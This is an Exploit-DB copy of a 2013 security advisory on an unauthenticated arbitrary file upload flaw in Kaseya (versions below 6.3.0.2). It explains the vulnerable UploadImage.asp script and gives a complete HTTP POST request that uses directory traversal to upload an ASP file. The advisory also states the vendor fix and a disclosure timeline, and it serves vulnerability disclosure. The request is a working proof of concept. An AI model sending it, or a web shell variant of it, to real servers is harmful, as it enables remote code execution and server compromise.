# Kaseya < 6.3.0.2 - Arbitrary File Upload

**EDB-ID:**

29675

**CVE:**

**EDB Verified:** ×

**Author:**

SECURITY-ASSESSMENT.COM

**Type:**

WEBAPPS

**Exploit:** / {}

**Platform:**

ASP

**Date:**

2013-11-18

**Vulnerable App:**

```
(    , )     (,
  .   `.' ) ('.    ',
   ). , ('.   ( ) (
  (_,) .`), ) _ _,
 /  _____/  / _  \    ____  ____   _____
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
       \/         \/.-.    \/         \/:wq
                   (x.0)
                 '=.|w|.='
                 _='`"``=.

               presents..

Kaseya Arbitrary File Upload Vulnerability
Affected versions: < 6.3.0.2

PDF: http://security-
assessment.com/files/documents/advisory/Kaseya%20File%20Upload.pdf


+-----------+
|Description|
+-----------+

Kaseya 6.3 suffers from an Arbitrary File Upload vulnerability that can be
leveraged to gain remote code
execution on the Kaseya server. The code executed in this way will run with
a local IUSR account’s privileges.
The vulnerability lies within the /SystemTab/UploadImage.asp file. This
file constructs a file object on disk using
user input, without first checking if the user is authenticated or if input
is valid. The application preserves the
file name and extension of the upload, and allows an attacker to traverse
from the default destination directory.
Directory traversal is not necessary to gain code execution however, as the
default path lies within the
application’s web-root.


+------------+
|Exploitation|
+------------+

POST /SystemTab/uploadImage.asp?filename=..\..\..\..\test.asp HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101
Firefox/22.0
FirePHP/0.7.2
Referer: http://<host>/SystemTab/uploadImage.asp
Cookie: ASPSESSIONIDQATSBAQC=<valid session>;
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------
19172947220212
Content-Length: 89

-----------------------------19172947220212
Content-Disposition: form-data; name="uploadFile"; filename="test.asp"
Content-Type: application/octet-stream

<!DOCTYPE html>
<html>
<body>
<%
response.write("Hello World!")
%>
```

```
</body>
</html>

----------------------------19172947220212--

+-----+
| Fix |
+-----+

Install the patch released by the vendor on the 12th of November 2013.

+-------------------+
|Disclosure Timeline|
+-------------------+

9/10/2013 Bug discovered, vendor contacted
20/10/2013 Vendor responds with email address for security contact.
Advisory sent to security contact.
30/10/2013 Vendor advises that patch for the reported issue is to be
included in next patch cycle.
12/11/2013 Patch released.
18/11/2013 Advisory publically released.

+----------------------------+
|About Security-Assessment.com|
+----------------------------+

Security-Assessment.com is a New Zealand based world
leader in web application testing, network security
and penetration testing. Security-Assessment.com
services organisations across New Zealand, Australia,
Asia Pacific, the United States and the United
Kingdom.

Security-Assessment.com is currently looking for skilled penetration
testers. If you are interested, please email 'hr at security-
assessment.com'

Thomas Hibbert
Security Consultant
Security-Assessment.com
Mobile: +64 27 3133777
Email: thomas.hibbert () security-assessment com
Web: www.security-assessment.com
```

**Tags:**

**Advisory/Source:** Link